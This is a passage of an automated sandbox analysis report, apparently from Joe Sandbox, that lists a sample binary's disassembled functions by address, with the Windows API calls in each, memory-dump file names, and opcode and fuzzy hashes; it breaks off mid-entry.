                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • EnumWindows.USER32(00409507,?), ref: 0040959B
                                                                                  • GetCurrentThreadId.KERNEL32 ref: 004095B3
                                                                                  • SetWindowPos.USER32(?,000000FE,00000000,00000000,00000000,00000000,00000003,?,?,?,?,?), ref: 004095CF
                                                                                  • GetCurrentThreadId.KERNEL32 ref: 004095EF
                                                                                  • EnableWindow.USER32(?,00000001), ref: 00409605
                                                                                  • SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003,?,?,?,?,?), ref: 0040961C
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Window$CurrentThread$EnableEnumWindows
                                                                                  • String ID:
                                                                                  • API String ID: 2527101397-0
                                                                                  • Opcode ID: f28d4ca554cd3ae9a733ad6cb4d62ecbd868711740a6e1fed135e0e6fc6d1c23
                                                                                  • Instruction ID: f5a6386b144a933a28a8080deaf79be6790ca9cb7a06763c23f847dded1acd22
                                                                                  • Opcode Fuzzy Hash: f28d4ca554cd3ae9a733ad6cb4d62ecbd868711740a6e1fed135e0e6fc6d1c23
                                                                                  • Instruction Fuzzy Hash: 3E11AF32548741BBD7324B16EC48F577BB9EB81B20F14CA3EF052226E1DB766D44CA18
                                                                                  Function 0040D353 Relevance: 9.1, APIs: 6, Instructions: 66memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • TlsAlloc.KERNEL32(?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D378
                                                                                  • HeapAlloc.KERNEL32(00000008,00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D38C
                                                                                  • TlsSetValue.KERNEL32(00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D399
                                                                                  • TlsGetValue.KERNEL32(00000010,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D3B0
                                                                                  • HeapReAlloc.KERNEL32(00000008,00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D3BF
                                                                                  • TlsSetValue.KERNEL32(00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D3CE
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocValue$Heap
                                                                                  • String ID:
                                                                                  • API String ID: 2472784365-0
                                                                                  • Opcode ID: d4aa023bea7065d4958094be2e1b0a1f42a8661c5ef268aa00a39480e26025ae
                                                                                  • Instruction ID: 1e11015e4a25d7f5304c1c18fd55a95fd758b035f13ce6db6bcec7fc4f8c26ab
                                                                                  • Opcode Fuzzy Hash: d4aa023bea7065d4958094be2e1b0a1f42a8661c5ef268aa00a39480e26025ae
                                                                                  • Instruction Fuzzy Hash: 22116372A45310AFD7109FA5EC84A967BA9FB58760B05803EF904D33B2DB359C048AAC
                                                                                  Function 00412004 Relevance: 9.0, APIs: 6, Instructions: 45memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • UnregisterWait.KERNEL32(?), ref: 0041200E
                                                                                  • CloseHandle.KERNEL32(?,?,?,?,0041218A,?), ref: 00412017
                                                                                  • EnterCriticalSection.KERNEL32(00418688,?,?,?,0041218A,?), ref: 00412023
                                                                                  • LeaveCriticalSection.KERNEL32(00418688,?,?,?,0041218A,?), ref: 00412048
                                                                                  • HeapFree.KERNEL32(00000000,00000000,?,?,?,0041218A,?), ref: 00412066
                                                                                  • HeapFree.KERNEL32(?,?,?,?,?,0041218A,?), ref: 00412078
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CriticalFreeHeapSection$CloseEnterHandleLeaveUnregisterWait
                                                                                  • String ID:
                                                                                  • API String ID: 4204870694-0
                                                                                  • Opcode ID: 74c8b0c47b40b3dfa83cc76d0e2e37435eae102b1f5068a19a02dca3843f56c7
                                                                                  • Instruction ID: 90751bbfb1e58074f86cd24fa3ef9024ec02ad1f71581e15228f0d3cd8da5416
                                                                                  • Opcode Fuzzy Hash: 74c8b0c47b40b3dfa83cc76d0e2e37435eae102b1f5068a19a02dca3843f56c7
                                                                                  • Instruction Fuzzy Hash: F5012970201601EFC7249F11EE88A96BF75FF493557108539E61AC2A70C731A821DBA8
                                                                                  Function 004057F0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 118COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • wcsncmp.MSVCRT ref: 00405853
                                                                                  • memmove.MSVCRT(00000000,00000000,?,00000000,00000000,?,?,-0000012C,?,?,004022A6,00000000,00000002,00000000,00000000,00417024), ref: 004058E1
                                                                                  • wcsncpy.MSVCRT ref: 004058F9
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: memmovewcsncmpwcsncpy
                                                                                  • String ID: $0A$$0A
                                                                                  • API String ID: 1452150355-167650565
                                                                                  • Opcode ID: d76f75147769cfeda3015acce6fec10c4d54059df292c5d7079ca0585360228a
                                                                                  • Instruction ID: fc6078814c183f32d07ee1b1bbfb59dc2b99a9263d9aed9d6ca5449e395b5937
                                                                                  • Opcode Fuzzy Hash: d76f75147769cfeda3015acce6fec10c4d54059df292c5d7079ca0585360228a
                                                                                  • Instruction Fuzzy Hash: 4C31D536904B058BC720FF55888057B77A8EE84344F14893EEC85373C2EB799D61DBAA
                                                                                  Function 00405553 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • memset.MSVCRT ref: 00405562
                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,?,?,00000000), ref: 00405571
                                                                                  • GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00405581
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AddressHandleModuleProcmemset
                                                                                  • String ID: RtlGetVersion$ntdll.dll
                                                                                  • API String ID: 3137504439-1489217083
                                                                                  • Opcode ID: 6332086022332b991d2c4cf9c539ad8fbd8ac088d8322b57d3057784f2e87649
                                                                                  • Instruction ID: 30d66d9a54b09ec8b40df40bafdfba1d8cbaec4fc0a5d0b23e6a41b72964e000
                                                                                  • Opcode Fuzzy Hash: 6332086022332b991d2c4cf9c539ad8fbd8ac088d8322b57d3057784f2e87649
                                                                                  • Instruction Fuzzy Hash: FAE09A3176461176C6202B76AC09FCB2AACDF8AB01B14043AB105E21C5E63C8A018ABD
                                                                                  Function 0040A043 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 80memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • wcslen.MSVCRT ref: 0040A0AB
                                                                                  • HeapAlloc.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00000000,00409ECC,?,?,00000000,?,?,00403C62), ref: 0040A0C1
                                                                                  • wcscpy.MSVCRT ref: 0040A0CC
                                                                                  • memset.MSVCRT ref: 0040A0FA
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocHeapmemsetwcscpywcslen
                                                                                  • String ID: $0A
                                                                                  • API String ID: 1807340688-513306843
                                                                                  • Opcode ID: ddb17ac4584ae50943752de31405e04708b8483d2d19b8b99954ed05a6fee5b2
                                                                                  • Instruction ID: f5e08f91bfd61cb5ee80f18050d08b7446549b79f9f251a776f81db7a0f8ced7
                                                                                  • Opcode Fuzzy Hash: ddb17ac4584ae50943752de31405e04708b8483d2d19b8b99954ed05a6fee5b2
                                                                                  • Instruction Fuzzy Hash: ED212431100B04AFC321AF259845B2BB7F9EF88314F14453FFA8562692DB39A8158B1A
                                                                                  Function 00409DE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 73memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                    • Part of subcall function 00409ECF: HeapFree.KERNEL32(00000000,?,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000), ref: 00409EFA
                                                                                    • Part of subcall function 00409ECF: HeapFree.KERNEL32(00000000,?,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409F06
                                                                                    • Part of subcall function 00409ECF: HeapFree.KERNEL32(00000000,?,?,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 00409F1A
                                                                                    • Part of subcall function 00409ECF: HeapFree.KERNEL32(00000000,00000000,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409F30
                                                                                  • HeapAlloc.KERNEL32(00000000,0000003C,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409DFF
                                                                                  • HeapAlloc.KERNEL32(00000008,00000015,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409E25
                                                                                  • HeapAlloc.KERNEL32(00000008,FFFFFFED,FFFFFFED,00000010,00010000,00000004,00000200,?,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 00409E82
                                                                                  • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409E9C
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Heap$Free$Alloc
                                                                                  • String ID: $0A
                                                                                  • API String ID: 3901518246-513306843
                                                                                  • Opcode ID: b46946705b204f9c30dffdadfffedc2aca485d526b87e64f112108196cd3b2d8
                                                                                  • Instruction ID: e0ba865afb0c504cde721ebe6402ca52a8b9bc1920db32d4218675ac1f34fbd8
                                                                                  • Opcode Fuzzy Hash: b46946705b204f9c30dffdadfffedc2aca485d526b87e64f112108196cd3b2d8
                                                                                  • Instruction Fuzzy Hash: EC213971600616ABD320DF2ADC01B46BBE9BF88710F41852AB548A76A1DB71EC248BD8
                                                                                  Function 00405492 Relevance: 7.6, APIs: 5, Instructions: 60synchronizationthreadCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • CreateThread.KERNEL32(00000000,00001000,?,?,00000000,00948F58), ref: 004054AB
                                                                                  • EnterCriticalSection.KERNEL32(004186A8,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054BD
                                                                                  • WaitForSingleObject.KERNEL32(00000008,00000000,00000000,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000), ref: 004054D4
                                                                                  • CloseHandle.KERNEL32(00000008,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054E0
                                                                                    • Part of subcall function 0040DB32: HeapFree.KERNEL32(00000000,-00000008,0040D44B,00000010,00000800,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?), ref: 0040DB6B
                                                                                  • LeaveCriticalSection.KERNEL32(004186A8,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 00405523
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CriticalSection$CloseCreateEnterFreeHandleHeapLeaveObjectSingleThreadWait
                                                                                  • String ID:
                                                                                  • API String ID: 3708593966-0
                                                                                  • Opcode ID: 90d5c19b946ffb749f21a3af15512962dae866b54bf80da6b69c9a1821aaad17
                                                                                  • Instruction ID: 0c8983fff82f944e714e95dc609c427016460782395ad7ea9b381996daa8850a
                                                                                  • Opcode Fuzzy Hash: 90d5c19b946ffb749f21a3af15512962dae866b54bf80da6b69c9a1821aaad17
                                                                                  • Instruction Fuzzy Hash: 6E110632145604BFC3015F54EC05ED7BBB9EF45752721846BF800972A0EB75A8508F6D
                                                                                  Function 0040D946 Relevance: 7.6, APIs: 5, Instructions: 54memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • EnterCriticalSection.KERNEL32(00418624,00000200,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3), ref: 0040D95A
                                                                                  • LeaveCriticalSection.KERNEL32(00418624,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040D9AF
                                                                                    • Part of subcall function 0040D946: HeapFree.KERNEL32(00000000,?,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004), ref: 0040D9A8
                                                                                  • DeleteCriticalSection.KERNEL32(00000020,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3), ref: 0040D9C8
                                                                                  • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200), ref: 0040D9D7
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CriticalSection$FreeHeap$DeleteEnterLeave
                                                                                  • String ID:
                                                                                  • API String ID: 3171405041-0
                                                                                  • Opcode ID: cbed9a95af3197c0c236be5f183e3b734408b447f4af695c0c167132bfd4a986
                                                                                  • Instruction ID: 8e0b58a532cd0764c064264ab0afec864f9344a56e81b99afb7742a3bcd9c4dc
                                                                                  • Opcode Fuzzy Hash: cbed9a95af3197c0c236be5f183e3b734408b447f4af695c0c167132bfd4a986
                                                                                  • Instruction Fuzzy Hash: 80112B71501601AFC7209F55DC48B96BBB5FF49311F10843EA45A936A1D738A844CF98
                                                                                  Function 00409698 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                    • Part of subcall function 0040E260: TlsGetValue.KERNEL32(0000000D,00001000,00000000,00000000), ref: 0040E26C
                                                                                    • Part of subcall function 0040E260: HeapReAlloc.KERNEL32(00940000,00000000,?,?), ref: 0040E2C7
                                                                                  • GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 004096B4
                                                                                  • wcscmp.MSVCRT ref: 004096C2
                                                                                  • memmove.MSVCRT(00000000,00000008,\\?\,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000), ref: 004096DA
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocFileHeapModuleNameValuememmovewcscmp
                                                                                  • String ID: \\?\
                                                                                  • API String ID: 3734239354-4282027825
                                                                                  • Opcode ID: 0153655e129c1090b4fb96721347d81aa5438cd66e58ba985cbb1c9c08f4e59e
                                                                                  • Instruction ID: 273bc576c06434c2caee33e7ea90b93358419674725e30c46c8a7bea9ec705d9
                                                                                  • Opcode Fuzzy Hash: 0153655e129c1090b4fb96721347d81aa5438cd66e58ba985cbb1c9c08f4e59e
                                                                                  • Instruction Fuzzy Hash: BBF0E2B31006017BC210677BDC85CAB7EACEB853747000A3FF515D24D2EA38D82496B8
                                                                                  Function 0040B236 Relevance: 6.3, APIs: 5, Instructions: 93COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • memset.MSVCRT ref: 0040B2D7
                                                                                  • memset.MSVCRT ref: 0040B2E0
                                                                                  • memset.MSVCRT ref: 0040B2E9
                                                                                  • memset.MSVCRT ref: 0040B2F6
                                                                                  • memset.MSVCRT ref: 0040B302
                                                                                    • Part of subcall function 0040C636: memcpy.MSVCRT(?,?,00000040,?,?,?,?,?,?,?,?,?,00000000,?,0040B275,?), ref: 0040C690
                                                                                    • Part of subcall function 0040C636: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,0040B275,?), ref: 0040C6DF
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: memset$memcpy
                                                                                  • String ID:
                                                                                  • API String ID: 368790112-0
                                                                                  • Opcode ID: 6af7cb9f910f70f93df9e3bab83db51edc5e588b158ebd52074512bae1687c56
                                                                                  • Instruction ID: 0935afcf37e6329c3ac2d0f56793f6a9f9fc9668031c2f15978d8007e640a3dc
                                                                                  • Opcode Fuzzy Hash: 6af7cb9f910f70f93df9e3bab83db51edc5e588b158ebd52074512bae1687c56
                                                                                  • Instruction Fuzzy Hash: 322103317506083BE524AA29DC86F9F738CDB81708F40063EF241BA2C1CA79E54947AE
                                                                                  Function 00405BA0 Relevance: 6.2, APIs: 4, Instructions: 167memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocHeapwcsncpy
                                                                                  • String ID:
                                                                                  • API String ID: 2304708654-0
                                                                                  • Opcode ID: abff55b24cf8305edd91d71e69c9c0649d4e3fc2b61a87c9063bbd8ae977bd8a
                                                                                  • Instruction ID: a3f43ae3cc8438659badc3904afd778ac5f48c872593279c616423bb3bd2bb8e
                                                                                  • Opcode Fuzzy Hash: abff55b24cf8305edd91d71e69c9c0649d4e3fc2b61a87c9063bbd8ae977bd8a
                                                                                  • Instruction Fuzzy Hash: 6D51AD34508B059BDB209F28D844A6B77F4FF84348F544A2EF885A72D0E778E915CB99
                                                                                  Function 00406670 Relevance: 6.1, APIs: 4, Instructions: 90COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • CharLowerW.USER32(00417032,?,?,?,?,?,?,?,?,?,00402745,00000000,00000000), ref: 00406696
                                                                                  • CharLowerW.USER32(00000000,?,?,?,?,?,?,?,?,00402745,00000000,00000000), ref: 004066D0
                                                                                  • CharLowerW.USER32(?,?,?,?,?,?,?,?,?,00402745,00000000,00000000), ref: 004066FF
                                                                                  • CharLowerW.USER32(?,?,?,?,?,?,?,?,?,00402745,00000000,00000000), ref: 00406705
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CharLower
                                                                                  • String ID:
                                                                                  • API String ID: 1615517891-0
                                                                                  • Opcode ID: e161e10b7a4b34b45bc7c15099726f4e7ff8b3d71e89e60b0d1392e1659b6289
                                                                                  • Instruction ID: 50cff0fc212774e4e1f85142edc8b720228546f3e888a8e5f893537154114361
                                                                                  • Opcode Fuzzy Hash: e161e10b7a4b34b45bc7c15099726f4e7ff8b3d71e89e60b0d1392e1659b6289
                                                                                  • Instruction Fuzzy Hash: 582176796043058BC710AF1D9C40077B7E4EB80364F86483BEC85A3380D639EE169BA9
                                                                                  Function 00412240 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00412271
                                                                                  • malloc.MSVCRT ref: 00412281
                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0041229B
                                                                                  • malloc.MSVCRT ref: 004122B0
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: ByteCharMultiWidemalloc
                                                                                  • String ID:
                                                                                  • API String ID: 2735977093-0
                                                                                  • Opcode ID: dda470ae4ce4e8229e703b02ef989f91deb9167292a565bef41a6c3ba200bf59
                                                                                  • Instruction ID: 3c1085fe75aa08d7dfcf325d5fd6ce3d1ff6e0efa089dc1519f7c1eb2db8e9d3
                                                                                  • Opcode Fuzzy Hash: dda470ae4ce4e8229e703b02ef989f91deb9167292a565bef41a6c3ba200bf59
                                                                                  • Instruction Fuzzy Hash: F70145373413013BE2204685AC02FAB3B58CBC1B95F1900BAFF04AE6C0C6F3A80182B8
                                                                                  Function 004121A0 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
